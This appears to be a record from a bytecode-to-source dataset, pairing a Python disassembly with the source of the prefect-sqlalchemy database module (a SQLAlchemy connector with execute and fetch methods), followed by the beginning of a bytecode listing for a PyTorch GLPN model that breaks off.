GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START GET_AWAITABLE LOAD_CONST None YIELD_FROM WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'Executed ' LOAD_GLOBAL len LOAD_FAST seq_of_parameters CALL_FUNCTION FORMAT_VALUE LOAD_CONST ' operations based off ' LOAD_FAST operation FORMAT_VALUE repr LOAD_CONST '.' BUILD_STRING CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _driver_is_async POP_JUMP_IF_TRUE LOAD_GLOBAL RuntimeError LOAD_FAST self LOAD_ATTR _rendered_url LOAD_ATTR drivername FORMAT_VALUE LOAD_CONST ' cannot be run asynchronously. Please use the `with` syntax.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST self RETURN_VALUE LOAD_FAST self LOAD_METHOD aclose CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _driver_is_async POP_JUMP_IF_TRUE LOAD_GLOBAL RuntimeError LOAD_FAST self LOAD_ATTR _rendered_url LOAD_ATTR drivername FORMAT_VALUE LOAD_CONST ' is not asynchronous. Please use the `close` method instead.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS SETUP_FINALLY to 44 LOAD_FAST self LOAD_METHOD reset_async_connections CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP POP_BLOCK LOAD_CONST None LOAD_FAST self LOAD_ATTR _engine LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _engine LOAD_METHOD dispose CALL_METHOD GET_AWAITABLE LOAD_CONST None YIELD_FROM POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR _engine LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'Disposed the engine.' CALL_METHOD POP_TOP END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _driver_is_async POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_FAST self LOAD_ATTR _rendered_url LOAD_ATTR drivername FORMAT_VALUE LOAD_CONST ' cannot be run synchronously. Please use the `async with` syntax.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST self RETURN_VALUE LOAD_FAST self LOAD_METHOD close CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR _driver_is_async POP_JUMP_IF_FALSE LOAD_GLOBAL RuntimeError LOAD_FAST self LOAD_ATTR _rendered_url LOAD_ATTR drivername FORMAT_VALUE LOAD_CONST ' is not synchronous. Please use the `aclose` method instead.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS SETUP_FINALLY to 38 LOAD_FAST self LOAD_METHOD reset_connections CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None LOAD_FAST self LOAD_ATTR _engine LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _engine LOAD_METHOD dispose CALL_METHOD POP_TOP LOAD_CONST None LOAD_FAST self STORE_ATTR _engine LOAD_FAST self LOAD_ATTR logger LOAD_METHOD info LOAD_CONST 'Disposed the engine.' CALL_METHOD POP_TOP END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR __dict__ LOAD_METHOD copy CALL_METHOD STORE_FAST data LOAD_FAST data LOAD_METHOD update LOAD_CONST <code object <dictcomp> at 0x7fab80123ed0, file "f.py", line 935> LOAD_CONST 'SqlAlchemyConnector.__getstate__.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_CONST frozenset({'_exit_stack', '_unique_results', '_engine'}) GET_ITER CALL_FUNCTION CALL_METHOD POP_TOP LOAD_FAST data RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 16 STORE_FAST k LOAD_CONST None LOAD_FAST k MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST self LOAD_ATTR __dict__ LOAD_METHOD update LOAD_FAST data CALL_METHOD POP_TOP LOAD_FAST self LOAD_ATTR _unique_results LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE BUILD_MAP LOAD_FAST self STORE_ATTR _unique_results LOAD_FAST self LOAD_ATTR _exit_stack LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD _start_exit_stack CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE
"""Tasks for querying a database with SQLAlchemy""" import contextlib import warnings from contextlib import AsyncExitStack, ExitStack, asynccontextmanager from typing import Any, Dict, List, Optional, Tuple, Union from prefect import task from prefect.blocks.abstract import CredentialsBlock, DatabaseBlock from prefect.utilities.asyncutils import sync_compatible from prefect.utilities.hashing import hash_objects from pydantic import VERSION as PYDANTIC_VERSION if PYDANTIC_VERSION.startswith("2."): from pydantic.v1 import AnyUrl, Field, SecretStr else: from pydantic import AnyUrl, Field, SecretStr from sqlalchemy import __version__ as SQLALCHEMY_VERSION from sqlalchemy.engine import Connection, Engine, create_engine from sqlalchemy.engine.cursor import CursorResult from sqlalchemy.engine.url import URL, make_url from sqlalchemy.ext.asyncio import AsyncConnection, AsyncEngine, create_async_engine from sqlalchemy.sql import text from typing_extensions import Literal from prefect_sqlalchemy.credentials import ( AsyncDriver, ConnectionComponents, DatabaseCredentials, ) @contextlib.asynccontextmanager async def _connect( engine: Union["AsyncEngine", "Engine"], async_supported: bool, ) -> Union["AsyncConnection", "Connection"]: """ Helper method to create a connection to the database, either synchronously or asynchronously. """ try: if async_supported: async with engine.connect() as connection: yield connection else: with engine.connect() as connection: yield connection finally: dispose = engine.dispose() if async_supported: await dispose async def _execute( connection: Union["AsyncConnection", "Connection"], query: str, params: Optional[Union[Tuple[Any], Dict[str, Any]]], async_supported: bool, ) -> "CursorResult": """ Helper method to execute database queries or statements, either synchronously or asynchronously. """ result = connection.execute(text(query), params) if async_supported: result = await result await connection.commit() elif SQLALCHEMY_VERSION.startswith("2."): connection.commit() return result @task async def sqlalchemy_execute( statement: str, sqlalchemy_credentials: "DatabaseCredentials", params: Optional[Union[Tuple[Any], Dict[str, Any]]] = None, ): """ Executes a SQL DDL or DML statement; useful for creating tables and inserting rows since this task does not return any objects. Args: statement: The statement to execute against the database. sqlalchemy_credentials: The credentials to use to authenticate. params: The params to replace the placeholders in the query. Examples: Create table named customers and insert values. ```python from prefect_sqlalchemy import DatabaseCredentials, AsyncDriver from prefect_sqlalchemy.database import sqlalchemy_execute from prefect import flow @flow def sqlalchemy_execute_flow(): sqlalchemy_credentials = DatabaseCredentials( driver=AsyncDriver.SQLITE_AIOSQLITE, database="prefect.db", ) sqlalchemy_execute( "CREATE TABLE IF NOT EXISTS customers (name varchar, address varchar);", sqlalchemy_credentials, ) sqlalchemy_execute( "INSERT INTO customers (name, address) VALUES (:name, :address);", sqlalchemy_credentials, params={"name": "Marvin", "address": "Highway 42"} ) sqlalchemy_execute_flow() ``` """ warnings.warn( "sqlalchemy_query is now deprecated and will be removed March 2023; " "please use SqlAlchemyConnector execute_* methods instead.", DeprecationWarning, ) engine = sqlalchemy_credentials.get_engine() async_supported = sqlalchemy_credentials._driver_is_async async with _connect(engine, async_supported) as connection: await _execute(connection, statement, params, async_supported) @task async def sqlalchemy_query( query: str, sqlalchemy_credentials: "DatabaseCredentials", params: Optional[Union[Tuple[Any], Dict[str, Any]]] = None, limit: Optional[int] = None, ) -> List[Tuple[Any]]: """ Executes a SQL query; useful for querying data from existing tables. Args: query: The query to execute against the database. sqlalchemy_credentials: The credentials to use to authenticate. params: The params to replace the placeholders in the query. limit: The number of rows to fetch. Note, this parameter is executed on the client side, i.e. passed to `fetchmany`. To limit on the server side, add the `LIMIT` clause, or the dialect's equivalent clause, like `TOP`, to the query. Returns: The fetched results. Examples: Query postgres table with the ID value parameterized. ```python from prefect_sqlalchemy import DatabaseCredentials, AsyncDriver from prefect_sqlalchemy.database import sqlalchemy_query from prefect import flow @flow def sqlalchemy_query_flow(): sqlalchemy_credentials = DatabaseCredentials( driver=AsyncDriver.SQLITE_AIOSQLITE, database="prefect.db", ) result = sqlalchemy_query( "SELECT * FROM customers WHERE name = :name;", sqlalchemy_credentials, params={"name": "Marvin"}, ) return result sqlalchemy_query_flow() ``` """ warnings.warn( "sqlalchemy_query is now deprecated and will be removed March 2023; " "please use SqlAlchemyConnector fetch_* methods instead.", DeprecationWarning, ) engine = sqlalchemy_credentials.get_engine() async_supported = sqlalchemy_credentials._driver_is_async async with _connect(engine, async_supported) as connection: result = await _execute(connection, query, params, async_supported) rows = result.fetchall() if limit is None else result.fetchmany(limit) return rows class SqlAlchemyConnector(CredentialsBlock, DatabaseBlock): """ Block used to manage authentication with a database. Upon instantiating, an engine is created and maintained for the life of the object until the close method is called. It is recommended to use this block as a context manager, which will automatically close the engine and its connections when the context is exited. It is also recommended that this block is loaded and consumed within a single task or flow because if the block is passed across separate tasks and flows, the state of the block's connection and cursor could be lost. Attributes: connection_info: SQLAlchemy URL to create the engine; either create from components or create from a string. connect_args: The options which will be passed directly to the DBAPI's connect() method as additional keyword arguments. fetch_size: The number of rows to fetch at a time. Example: Load stored database credentials and use in context manager: ```python from prefect_sqlalchemy import SqlAlchemyConnector database_block = SqlAlchemyConnector.load("BLOCK_NAME") with database_block: ... ``` Create table named customers and insert values; then fetch the first 10 rows. ```python from prefect_sqlalchemy import ( SqlAlchemyConnector, SyncDriver, ConnectionComponents ) with SqlAlchemyConnector( connection_info=ConnectionComponents( driver=SyncDriver.SQLITE_PYSQLITE, database="prefect.db" ) ) as database: database.execute( "CREATE TABLE IF NOT EXISTS customers (name varchar, address varchar);", ) for i in range(1, 42): database.execute( "INSERT INTO customers (name, address) VALUES (:name, :address);", parameters={"name": "Marvin", "address": f"Highway {i}"}, ) results = database.fetch_many( "SELECT * FROM customers WHERE name = :name;", parameters={"name": "Marvin"}, size=10 ) print(results) ``` """ _block_type_name = "SQLAlchemy Connector" _logo_url = "https://cdn.sanity.io/images/3ugk85nk/production/3c7dff04f70aaf4528e184a3b028f9e40b98d68c-250x250.png" # noqa _documentation_url = "https://prefecthq.github.io/prefect-sqlalchemy/database/#prefect_sqlalchemy.database.SqlAlchemyConnector" # noqa connection_info: Union[ConnectionComponents, AnyUrl] = Field( default=..., description=( "SQLAlchemy URL to create the engine; either create from components " "or create from a string." ), ) connect_args: Optional[Dict[str, Any]] = Field( default=None, title="Additional Connection Arguments", description=( "The options which will be passed directly to the DBAPI's connect() " "method as additional keyword arguments." ), ) fetch_size: int = Field( default=1, description="The number of rows to fetch at a time." ) _engine: Optional[Union[AsyncEngine, Engine]] = None _exit_stack: Union[ExitStack, AsyncExitStack] = None _unique_results: Dict[str, CursorResult] = None class Config: """Configuration of pydantic.""" arbitrary_types_allowed = True json_encoders = {URL: lambda u: u.render_as_string()} def dict(self, *args, **kwargs) -> Dict: """ Convert to a dictionary. """ d = super().dict(*args, **kwargs) d["_rendered_url"] = SecretStr( self._rendered_url.render_as_string(hide_password=False) ) return d def block_initialization(self): """ Initializes the engine. """ super().block_initialization() if isinstance(self.connection_info, ConnectionComponents): self._rendered_url = self.connection_info.create_url() else: self._rendered_url = make_url(str(self.connection_info)) drivername = self._rendered_url.drivername try: AsyncDriver(drivername) self._driver_is_async = True except ValueError: self._driver_is_async = False if self._unique_results is None: self._unique_results = {} if self._exit_stack is None: self._start_exit_stack() def _start_exit_stack(self): """ Starts an AsyncExitStack or ExitStack depending on whether driver is async. """ self._exit_stack = AsyncExitStack() if self._driver_is_async else ExitStack() def get_engine( self, **create_engine_kwargs: Dict[str, Any] ) -> Union[Engine, AsyncEngine]: """ Returns an authenticated engine that can be used to query from databases. If an existing engine exists, return that one. Returns: The authenticated SQLAlchemy Engine / AsyncEngine. Examples: Create an asynchronous engine to PostgreSQL using URL params. ```python from prefect import flow from prefect_sqlalchemy import ( SqlAlchemyConnector, ConnectionComponents, AsyncDriver ) @flow def sqlalchemy_credentials_flow(): sqlalchemy_credentials = SqlAlchemyConnector( connection_info=ConnectionComponents( driver=AsyncDriver.POSTGRESQL_ASYNCPG, username="prefect", password="prefect_password", database="postgres" ) ) print(sqlalchemy_credentials.get_engine()) sqlalchemy_credentials_flow() ``` Create a synchronous engine to Snowflake using the `url` kwarg. ```python from prefect import flow from prefect_sqlalchemy import SqlAlchemyConnector, AsyncDriver @flow def sqlalchemy_credentials_flow(): url = ( "snowflake://<user_login_name>:<password>" "@<account_identifier>/<database_name>" "?warehouse=<warehouse_name>" ) sqlalchemy_credentials = SqlAlchemyConnector(url=url) print(sqlalchemy_credentials.get_engine()) sqlalchemy_credentials_flow() ``` """ if self._engine is not None: self.logger.debug("Reusing existing engine.") return self._engine engine_kwargs = dict( url=self._rendered_url, connect_args=self.connect_args or {}, **create_engine_kwargs, ) if self._driver_is_async: engine = create_async_engine(**engine_kwargs) else: engine = create_engine(**engine_kwargs) self.logger.info("Created a new engine.") if self._engine is None: self._engine = engine return engine def get_connection( self, begin: bool = True, **connect_kwargs: Dict[str, Any] ) -> Union[Connection, AsyncConnection]: """ Returns a connection that can be used to query from databases. Args: begin: Whether to begin a transaction on the connection; if True, if any operations fail, the entire transaction will be rolled back. **connect_kwargs: Additional keyword arguments to pass to either `engine.begin` or engine.connect`. Returns: The SQLAlchemy Connection / AsyncConnection. Examples: Create an synchronous connection as a context-managed transaction. ```python from prefect_sqlalchemy import SqlAlchemyConnector sqlalchemy_connector = SqlAlchemyConnector.load("BLOCK_NAME") with sqlalchemy_connector.get_connection(begin=False) as connection: connection.execute("SELECT * FROM table LIMIT 1;") ``` Create an asynchronous connection as a context-managed transacation. ```python import asyncio from prefect_sqlalchemy import SqlAlchemyConnector sqlalchemy_connector = SqlAlchemyConnector.load("BLOCK_NAME") async with sqlalchemy_connector.get_connection(begin=False) as connection: asyncio.run(connection.execute("SELECT * FROM table LIMIT 1;")) ``` """ # noqa: E501 engine = self.get_engine() if begin: connection = engine.begin(**connect_kwargs) else: connection = engine.connect(**connect_kwargs) self.logger.info("Created a new connection.") return connection def get_client( self, client_type: Literal["engine", "connection"], **get_client_kwargs: Dict[str, Any], ) -> Union[Engine, AsyncEngine, Connection, AsyncConnection]: """ Returns either an engine or connection that can be used to query from databases. Args: client_type: Select from either 'engine' or 'connection'. **get_client_kwargs: Additional keyword arguments to pass to either `get_engine` or `get_connection`. Returns: The authenticated SQLAlchemy engine or connection. Examples: Create an engine. ```python from prefect_sqlalchemy import SqlalchemyConnector sqlalchemy_connector = SqlAlchemyConnector.load("BLOCK_NAME") engine = sqlalchemy_connector.get_client(client_type="engine") ``` Create a context managed connection. ```python from prefect_sqlalchemy import SqlalchemyConnector sqlalchemy_connector = SqlAlchemyConnector.load("BLOCK_NAME") with sqlalchemy_connector.get_client(client_type="connection") as conn: ... ``` """ # noqa: E501 if client_type == "engine": client = self.get_engine(**get_client_kwargs) elif client_type == "connection": client = self.get_connection(**get_client_kwargs) else: raise ValueError( f"{client_type!r} is not supported; choose from engine or connection." ) return client async def _async_sync_execute( self, connection: Union[Connection, AsyncConnection], *execute_args: Tuple[Any], **execute_kwargs: Dict[str, Any], ) -> CursorResult: """ Execute the statement asynchronously or synchronously. """ result_set = connection.execute(*execute_args, **execute_kwargs) if self._driver_is_async: result_set = await result_set await connection.commit() # very important elif SQLALCHEMY_VERSION.startswith("2."): connection.commit() return result_set @asynccontextmanager async def _manage_connection(self, **get_connection_kwargs: Dict[str, Any]): if self._driver_is_async: async with self.get_connection(**get_connection_kwargs) as connection: yield connection else: with self.get_connection(**get_connection_kwargs) as connection: yield connection async def _get_result_set( self, *execute_args: Tuple[Any], **execute_kwargs: Dict[str, Any] ) -> CursorResult: """ Returns a new or existing result set based on whether the inputs are unique. Args: *execute_args: Args to pass to execute. **execute_kwargs: Keyword args to pass to execute. Returns: The result set from the operation. """ # noqa: E501 input_hash = hash_objects(*execute_args, **execute_kwargs) assert input_hash is not None, ( "We were not able to hash your inputs, " "which resulted in an unexpected data return; " "please open an issue with a reproducible example." ) if input_hash not in self._unique_results.keys(): if self._driver_is_async: connection = await self._exit_stack.enter_async_context( self.get_connection() ) else: connection = self._exit_stack.enter_context(self.get_connection()) result_set = await self._async_sync_execute( connection, *execute_args, **execute_kwargs ) self._unique_results[input_hash] = result_set else: result_set = self._unique_results[input_hash] return result_set def _reset_cursor_results(self) -> None: """ Closes all the existing cursor results. """ input_hashes = tuple(self._unique_results.keys()) for input_hash in input_hashes: try: cursor_result = self._unique_results.pop(input_hash) cursor_result.close() except Exception as exc: self.logger.warning( f"Failed to close connection for input hash {input_hash!r}: {exc}" ) @sync_compatible async def reset_connections(self) -> None: """ Tries to close all opened connections and their results. Examples: Resets connections so `fetch_*` methods return new results. ```python from prefect_sqlalchemy import SqlAlchemyConnector with SqlAlchemyConnector.load("MY_BLOCK") as database: results = database.fetch_one("SELECT * FROM customers") database.reset_connections() results = database.fetch_one("SELECT * FROM customers") ``` """ if self._driver_is_async: raise RuntimeError( f"{self._rendered_url.drivername} has no synchronous connections. " f"Please use the `reset_async_connections` method instead." ) if self._exit_stack is None: self.logger.info("There were no connections to reset.") return self._reset_cursor_results() self._exit_stack.close() self.logger.info("Reset opened connections and their results.") async def reset_async_connections(self) -> None: """ Tries to close all opened connections and their results. Examples: Resets connections so `fetch_*` methods return new results. ```python import asyncio from prefect_sqlalchemy import SqlAlchemyConnector async def example_run(): async with SqlAlchemyConnector.load("MY_BLOCK") as database: results = await database.fetch_one("SELECT * FROM customers") await database.reset_async_connections() results = await database.fetch_one("SELECT * FROM customers") asyncio.run(example_run()) ``` """ if not self._driver_is_async: raise RuntimeError( f"{self._rendered_url.drivername} has no asynchronous connections. " f"Please use the `reset_connections` method instead." ) if self._exit_stack is None: self.logger.info("There were no connections to reset.") return self._reset_cursor_results() await self._exit_stack.aclose() self.logger.info("Reset opened connections and their results.") @sync_compatible async def fetch_one( self, operation: str, parameters: Optional[Dict[str, Any]] = None, **execution_options: Dict[str, Any], ) -> Tuple[Any]: """ Fetch a single result from the database. Repeated calls using the same inputs to *any* of the fetch methods of this block will skip executing the operation again, and instead, return the next set of results from the previous execution, until the reset_cursors method is called. Args: operation: The SQL query or other operation to be executed. parameters: The parameters for the operation. **execution_options: Options to pass to `Connection.execution_options`. Returns: A list of tuples containing the data returned by the database, where each row is a tuple and each column is a value in the tuple. Examples: Create a table, insert three rows into it, and fetch a row repeatedly. ```python from prefect_sqlalchemy import SqlAlchemyConnector with SqlAlchemyConnector.load("MY_BLOCK") as database: database.execute("CREATE TABLE IF NOT EXISTS customers (name varchar, address varchar);") database.execute_many( "INSERT INTO customers (name, address) VALUES (:name, :address);", seq_of_parameters=[ {"name": "Ford", "address": "Highway 42"}, {"name": "Unknown", "address": "Space"}, {"name": "Me", "address": "Myway 88"}, ], ) results = True while results: results = database.fetch_one("SELECT * FROM customers") print(results) ``` """ # noqa result_set = await self._get_result_set( text(operation), parameters, execution_options=execution_options ) self.logger.debug("Preparing to fetch one row.") row = result_set.fetchone() return row @sync_compatible async def fetch_many( self, operation: str, parameters: Optional[Dict[str, Any]] = None, size: Optional[int] = None, **execution_options: Dict[str, Any], ) -> List[Tuple[Any]]: """ Fetch a limited number of results from the database. Repeated calls using the same inputs to *any* of the fetch methods of this block will skip executing the operation again, and instead, return the next set of results from the previous execution, until the reset_cursors method is called. Args: operation: The SQL query or other operation to be executed. parameters: The parameters for the operation. size: The number of results to return; if None or 0, uses the value of `fetch_size` configured on the block. **execution_options: Options to pass to `Connection.execution_options`. Returns: A list of tuples containing the data returned by the database, where each row is a tuple and each column is a value in the tuple. Examples: Create a table, insert three rows into it, and fetch two rows repeatedly. ```python from prefect_sqlalchemy import SqlAlchemyConnector with SqlAlchemyConnector.load("MY_BLOCK") as database: database.execute("CREATE TABLE IF NOT EXISTS customers (name varchar, address varchar);") database.execute_many( "INSERT INTO customers (name, address) VALUES (:name, :address);", seq_of_parameters=[ {"name": "Ford", "address": "Highway 42"}, {"name": "Unknown", "address": "Space"}, {"name": "Me", "address": "Myway 88"}, ], ) results = database.fetch_many("SELECT * FROM customers", size=2) print(results) results = database.fetch_many("SELECT * FROM customers", size=2) print(results) ``` """ # noqa result_set = await self._get_result_set( text(operation), parameters, execution_options=execution_options ) size = size or self.fetch_size self.logger.debug(f"Preparing to fetch {size} rows.") rows = result_set.fetchmany(size=size) return rows @sync_compatible async def fetch_all( self, operation: str, parameters: Optional[Dict[str, Any]] = None, **execution_options: Dict[str, Any], ) -> List[Tuple[Any]]: """ Fetch all results from the database. Repeated calls using the same inputs to *any* of the fetch methods of this block will skip executing the operation again, and instead, return the next set of results from the previous execution, until the reset_cursors method is called. Args: operation: The SQL query or other operation to be executed. parameters: The parameters for the operation. **execution_options: Options to pass to `Connection.execution_options`. Returns: A list of tuples containing the data returned by the database, where each row is a tuple and each column is a value in the tuple. Examples: Create a table, insert three rows into it, and fetch all where name is 'Me'. ```python from prefect_sqlalchemy import SqlAlchemyConnector with SqlAlchemyConnector.load("MY_BLOCK") as database: database.execute("CREATE TABLE IF NOT EXISTS customers (name varchar, address varchar);") database.execute_many( "INSERT INTO customers (name, address) VALUES (:name, :address);", seq_of_parameters=[ {"name": "Ford", "address": "Highway 42"}, {"name": "Unknown", "address": "Space"}, {"name": "Me", "address": "Myway 88"}, ], ) results = database.fetch_all("SELECT * FROM customers WHERE name = :name", parameters={"name": "Me"}) ``` """ # noqa result_set = await self._get_result_set( text(operation), parameters, execution_options=execution_options ) self.logger.debug("Preparing to fetch all rows.") rows = result_set.fetchall() return rows @sync_compatible async def execute( self, operation: str, parameters: Optional[Dict[str, Any]] = None, **execution_options: Dict[str, Any], ) -> None: """ Executes an operation on the database. This method is intended to be used for operations that do not return data, such as INSERT, UPDATE, or DELETE. Unlike the fetch methods, this method will always execute the operation upon calling. Args: operation: The SQL query or other operation to be executed. parameters: The parameters for the operation. **execution_options: Options to pass to `Connection.execution_options`. Examples: Create a table and insert one row into it. ```python from prefect_sqlalchemy import SqlAlchemyConnector with SqlAlchemyConnector.load("MY_BLOCK") as database: database.execute("CREATE TABLE IF NOT EXISTS customers (name varchar, address varchar);") database.execute( "INSERT INTO customers (name, address) VALUES (:name, :address);", parameters={"name": "Marvin", "address": "Highway 42"}, ) ``` """ # noqa async with self._manage_connection(begin=False) as connection: await self._async_sync_execute( connection, text(operation), parameters, execution_options=execution_options, ) self.logger.info(f"Executed the operation, {operation!r}") @sync_compatible async def execute_many( self, operation: str, seq_of_parameters: List[Dict[str, Any]], **execution_options: Dict[str, Any], ) -> None: """ Executes many operations on the database. This method is intended to be used for operations that do not return data, such as INSERT, UPDATE, or DELETE. Unlike the fetch methods, this method will always execute the operation upon calling. Args: operation: The SQL query or other operation to be executed. seq_of_parameters: The sequence of parameters for the operation. **execution_options: Options to pass to `Connection.execution_options`. Examples: Create a table and insert two rows into it. ```python from prefect_sqlalchemy import SqlAlchemyConnector with SqlAlchemyConnector.load("MY_BLOCK") as database: database.execute("CREATE TABLE IF NOT EXISTS customers (name varchar, address varchar);") database.execute_many( "INSERT INTO customers (name, address) VALUES (:name, :address);", seq_of_parameters=[ {"name": "Ford", "address": "Highway 42"}, {"name": "Unknown", "address": "Space"}, {"name": "Me", "address": "Myway 88"}, ], ) ``` """ # noqa async with self._manage_connection(begin=False) as connection: await self._async_sync_execute( connection, text(operation), seq_of_parameters, execution_options=execution_options, ) self.logger.info( f"Executed {len(seq_of_parameters)} operations based off {operation!r}." ) async def __aenter__(self): """ Start an asynchronous database engine upon entry. """ if not self._driver_is_async: raise RuntimeError( f"{self._rendered_url.drivername} cannot be run asynchronously. " f"Please use the `with` syntax." ) return self async def __aexit__(self, *args): """ Dispose the asynchronous database engine upon exit. """ await self.aclose() async def aclose(self): """ Closes async connections and its cursors. """ if not self._driver_is_async: raise RuntimeError( f"{self._rendered_url.drivername} is not asynchronous. " f"Please use the `close` method instead." ) try: await self.reset_async_connections() finally: if self._engine is not None: await self._engine.dispose() self._engine = None self.logger.info("Disposed the engine.") def __enter__(self): """ Start an synchronous database engine upon entry. """ if self._driver_is_async: raise RuntimeError( f"{self._rendered_url.drivername} cannot be run synchronously. " f"Please use the `async with` syntax." ) return self def __exit__(self, *args): """ Dispose the synchronous database engine upon exit. """ self.close() def close(self): """ Closes sync connections and its cursors. """ if self._driver_is_async: raise RuntimeError( f"{self._rendered_url.drivername} is not synchronous. " f"Please use the `aclose` method instead." ) try: self.reset_connections() finally: if self._engine is not None: self._engine.dispose() self._engine = None self.logger.info("Disposed the engine.") def __getstate__(self): """Allows the block to be pickleable.""" data = self.__dict__.copy() data.update({k: None for k in {"_engine", "_exit_stack", "_unique_results"}}) return data def __setstate__(self, data: dict): """Upon loading back, restart the engine and results.""" self.__dict__.update(data) if self._unique_results is None: self._unique_results = {} if self._exit_stack is None: self._start_exit_stack()
data/prefect-sqlalchemy-0.4.0/prefect_sqlalchemy/database.py
9,050
8,997
196,604
LOAD_CONST ' PyTorch GLPN model.' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST None IMPORT_NAME math STORE_NAME math LOAD_CONST 0 LOAD_CONST ('List', 'Optional', 'Tuple', 'Union') IMPORT_NAME typing IMPORT_FROM List STORE_NAME List IMPORT_FROM Optional STORE_NAME Optional IMPORT_FROM Tuple STORE_NAME Tuple IMPORT_FROM Union STORE_NAME Union POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME torch STORE_NAME torch LOAD_CONST 0 LOAD_CONST None IMPORT_NAME torch.utils.checkpoint STORE_NAME torch LOAD_CONST 0 LOAD_CONST ('nn',) IMPORT_NAME torch IMPORT_FROM nn STORE_NAME nn POP_TOP LOAD_CONST 3 LOAD_CONST ('ACT2FN',) IMPORT_NAME activations IMPORT_FROM ACT2FN STORE_NAME ACT2FN POP_TOP LOAD_CONST 3 LOAD_CONST ('BaseModelOutput', 'DepthEstimatorOutput') IMPORT_NAME modeling_outputs IMPORT_FROM BaseModelOutput STORE_NAME BaseModelOutput IMPORT_FROM DepthEstimatorOutput STORE_NAME DepthEstimatorOutput POP_TOP LOAD_CONST 3 LOAD_CONST ('PreTrainedModel',) IMPORT_NAME modeling_utils IMPORT_FROM PreTrainedModel STORE_NAME PreTrainedModel POP_TOP LOAD_CONST 3 LOAD_CONST ('find_pruneable_heads_and_indices', 'prune_linear_layer') IMPORT_NAME pytorch_utils IMPORT_FROM find_pruneable_heads_and_indices STORE_NAME find_pruneable_heads_and_indices IMPORT_FROM prune_linear_layer STORE_NAME prune_linear_layer POP_TOP LOAD_CONST 3 LOAD_CONST ('add_code_sample_docstrings', 'add_start_docstrings', 'add_start_docstrings_to_model_forward', 'logging', 'replace_return_docstrings') IMPORT_NAME utils IMPORT_FROM add_code_sample_docstrings STORE_NAME add_code_sample_docstrings IMPORT_FROM add_start_docstrings STORE_NAME add_start_docstrings IMPORT_FROM add_start_docstrings_to_model_forward STORE_NAME add_start_docstrings_to_model_forward IMPORT_FROM logging STORE_NAME logging IMPORT_FROM replace_return_docstrings STORE_NAME replace_return_docstrings POP_TOP LOAD_CONST 1 LOAD_CONST ('GLPNConfig',) IMPORT_NAME configuration_glpn IMPORT_FROM GLPNConfig STORE_NAME GLPNConfig POP_TOP LOAD_NAME logging LOAD_METHOD get_logger LOAD_NAME __name__ CALL_METHOD STORE_NAME logger LOAD_CONST 'GLPNConfig' STORE_NAME _CONFIG_FOR_DOC LOAD_CONST 'vinvino02/glpn-kitti' STORE_NAME _CHECKPOINT_FOR_DOC LOAD_CONST 1 LOAD_CONST 512 LOAD_CONST 15 LOAD_CONST 20 BUILD_LIST STORE_NAME _EXPECTED_OUTPUT_SHAPE LOAD_CONST 'vinvino02/glpn-kitti' BUILD_LIST STORE_NAME GLPN_PRETRAINED_MODEL_ARCHIVE_LIST LOAD_CONST (0.0, False) LOAD_NAME torch LOAD_ATTR Tensor LOAD_NAME float LOAD_NAME bool LOAD_NAME torch LOAD_ATTR Tensor LOAD_CONST ('input', 'drop_prob', 'training', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object drop_path at 0x7fa6f1557780, file "f.py", line 38> LOAD_CONST 'drop_path' MAKE_FUNCTION STORE_NAME drop_path LOAD_BUILD_CLASS LOAD_CONST <code object GLPNDropPath at 0x7fa6f15575d0, file "f.py", line 64> LOAD_CONST 'GLPNDropPath' MAKE_FUNCTION LOAD_CONST 'GLPNDropPath' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME GLPNDropPath LOAD_BUILD_CLASS LOAD_CONST <code object GLPNOverlapPatchEmbeddings at 0x7fa6da31b150, file "f.py", line 78> LOAD_CONST 'GLPNOverlapPatchEmbeddings' MAKE_FUNCTION LOAD_CONST 'GLPNOverlapPatchEmbeddings' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME GLPNOverlapPatchEmbeddings LOAD_BUILD_CLASS LOAD_CONST <code object GLPNEfficientSelfAttention at 0x7fa6da31b6f0, file "f.py", line 101> LOAD_CONST 'GLPNEfficientSelfAttention' MAKE_FUNCTION LOAD_CONST 'GLPNEfficientSelfAttention' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME GLPNEfficientSelfAttention LOAD_BUILD_CLASS LOAD_CONST <code object GLPNSelfOutput at 0x7fa6d4b485d0, file "f.py", line 189> LOAD_CONST 'GLPNSelfOutput' MAKE_FUNCTION LOAD_CONST 'GLPNSelfOutput' LOAD_NAME nn LOAD_ATTR Module CALL_FUNCTION STORE_NAME GLPNSelfOutput LOAD_BUILD_CLASS 